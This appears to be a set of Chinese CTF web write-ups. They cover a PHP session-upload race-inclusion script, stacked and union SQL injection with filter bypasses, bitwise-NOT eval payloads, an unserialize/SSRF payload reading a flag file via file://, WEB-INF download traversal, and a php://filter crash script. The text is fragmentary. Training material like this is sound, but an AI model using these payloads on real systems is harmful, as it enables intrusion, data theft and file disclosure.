临时文件包含考点
分析源码,两个特殊的点,一个是 eval
,另一个是 include
eval 经过了 strlen filter checkNums 三个函数
include 经过了 strlen filter 两个函数
filter
检测是否包含特定的关键字或字符
function filter($var){ $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; foreach($banned as $ban){ if(strstr($var, $ban)) return True; } return False;
}
checkNums
检查字母和数字的数量
看一下这道题的 PHP 版本 PHP/5.5.9-1
PHP 5.4 后 session.upload_progress 内置函数被引入,如果开启可以使用其工作原理
工作原理: 在上传文件时,将上传进度信息存储在 PHP 的 $_SESSION 变量中。然后可以使用 session_upload_progress() 函数来访问这些信息,以便在用户界面中显示上传进度条或其他信息。
查看 php 配置
?mode=eval
phpinfo关于session的设置session.save_path = /tmp
session.use_strict_mode = Off
session.upload_progress.cleanup = On
session.upload_progress.enabled = On
......
脚本包含
import requests
import threading
sess_id="1"
s=requests.session()
url="http://114.115.134.72:32770/"
def session_upload():while True:res= s.post(url=f"{url}/?page=/tmp/session/sess_{sess_id}",data={'PHP_SESSION_UPLOAD_PROGRESS': ""},files={"file": ('xxx.txt', open("shell.txt", "r"))},cookies={'PHPSESSID':sess_id})
for i in range(100):thread=threading.Thread(target=session_upload)thread.start()
注入题
?inject=1'error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
?inject=1' selectreturn preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
用堆叠注入
查库
?inject=-1';show databases;
array(1) {[0]=>string(11) "ctftraining"
}array(1) {[0]=>string(18) "information_schema"
}array(1) {[0]=>string(5) "mysql"
}array(1) {[0]=>string(18) "performance_schema"
}array(1) {[0]=>string(9) "supersqli"
}array(1) {[0]=>string(4) "test"
}
查所有的表格
?inject=-1';show tables;
array(1) {[0]=>string(16) "1919810931114514"
}array(1) {[0]=>string(5) "words"
}
?inject=-1';show columns from `1919810931114514`;array(6) {[0]=>string(4) "flag"[1]=>string(12) "varchar(100)"[2]=>string(2) "NO"[3]=>string(0) ""[4]=>NULL[5]=>string(0) ""
}索引为0的元素:列的名称,"flag"索引为1的元素:列的数据类型,"varchar(100)",一个最长长度为100的字符串类型索引为2的元素:列是否允许为空,"NO",不允许为空索引为3的元素:列的默认值索引为4的元素:列是否为自增长的,此处为 NULL,不是自增长列索引为5的元素:列的注释
到这有四种方法获取 flag
考点:Nginx 在后端 Fastcgi 响应过大 或 请求正文 body 过大时会产生临时文件。如果打开一个进程打开了某个文件,某个文件就会出现在 /proc/PID/fd/ 目录下,我们可以通过重复发包so造成文件缓存,然后用 LD_PRELOAD 去加载我们这个动态链接库
参考文章:
https://www.freebuf.com/articles/web/325650.html2022虎符CTF-ezphp分析
https://tttang.com/archive/1384/
唯独你没懂战队 wp
80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){die(' Hello');}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){@eval($code);}?>
!%FF被用作内部函数之间的隔离符。这是因为在 URL 编码中,%FF通常是被认为是无效字符的,因为它超出了 ASCII 字符集的范围。因此,使用!%FF作为隔离符可以确保函数调用中的字符不会被错误地解析或转换。
同理可以使用的也有 %8F 等,ASCII 字符集的范围 0-127
取反构造
?code=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));
注册 admin 登录成功,很像 sql 的表
username 超链接点进去后在页面没有什么特殊的点,但是 URL 有个 no 参数
?no=1'
[*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1)Fatal error: Call to a member function fetch_assoc() on boolean in /var/www/html/db.php on line 66
查字段
1 order by 4
无报错
1 order by 5
报错
union select
被过滤,包括空格
-1 union/**/select 1,2,3,4
网页内容左上角报错信息有反序列化函数 unserialize()
查表
-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database();
username age blogusers
查列
-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database();
username age blogno,username,passwd,data
查询 users 表对应的数据
-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users;
username1admin3c9909afec25354d551dae21590bb26e38d53f2173b8d3dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c36214dc9f14a42fd7a2fdb84856bca5c44c2O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:7:"3333.cn";}
这是我的注册信息,所以没用,得找其他方法
扫描后台可扫到 user.php.bak
public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}
根据之前的反序列化函数可知,注册信息被序列化后又被反序列化显示出来,而下方的 data 字段存在漏洞,其对应网页的博客内容
使用 sql 的 4 字段对应的 data 修改序列化内容
file:///var/www/html/flag.php
O:8:"UserInfo":3:{s:4:"name";s:10:"admin123ad";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
对应的 sql 语句
-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:10:"admin123ad";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
访问链接,查看源码
点击 help 后,java 程序错误
且 URL/Download?filename=help.docx
存在 WEB-INF/web.xml
泄露
WEB-INF 是 Java 的 WEB 应用的安全目录。如果想在页面中直接访问其中的文件,必须通过 web.xml 文件对要访问的文件进行相应映射才能访问。
WEB-INF 主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件
Servlet(Server Applet)是Java Servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序,具有独立于平台和协议的特性,主要功能在于交互式地浏览和生成数据,生成动态Web内容。
标签定义了一个 Servlet。 标签定义了 Servlet 的名字。 标签定义了 Servlet 的类名。 标签将 Servlet 映射到一个 URL。 标签定义了 URL 的模式,该 URL 模式将请求映射到相应的 Servlet。对于每个 Servlet,都有相应的 和 来进行定义和映射。
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
解码得
首页直接报错,源码中有信息
测试后,GET 可传 name,且其参数变化后 Set-Cookie 中的 Hash 值会变化,传入对应的 name,即有对应的 pass 值
?pass=fa25e54758d5d5c1927781a6ede89f8a
/flflflflag.php?file=php://filter/convert.base64-encode/resource=flflflflag.php
flflflflag.php
this_is_not_fl4g_and_出题人_wants_girlfriend
<>
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
dir.php
在 PHP 7 中,如果存在内存错误或其他类似的问题,可能会导致段错误(segment fault),可能会导致 PHP 异常崩溃退出。这种情况可能会在尝试处理大量数据或处理超出内存限制的数据时发生。如果向 PHP 发送包含文件区块的数据包时,PHP 异常崩溃退出,但是 POST 的临时文件仍被保留
使用脚本发送包含文件区块的数据包
import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = ""
data={'file': BytesIO(payload.encode())}
url="http://366904a9-c0cd-4a65-8b3a-77b6adb8021f.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)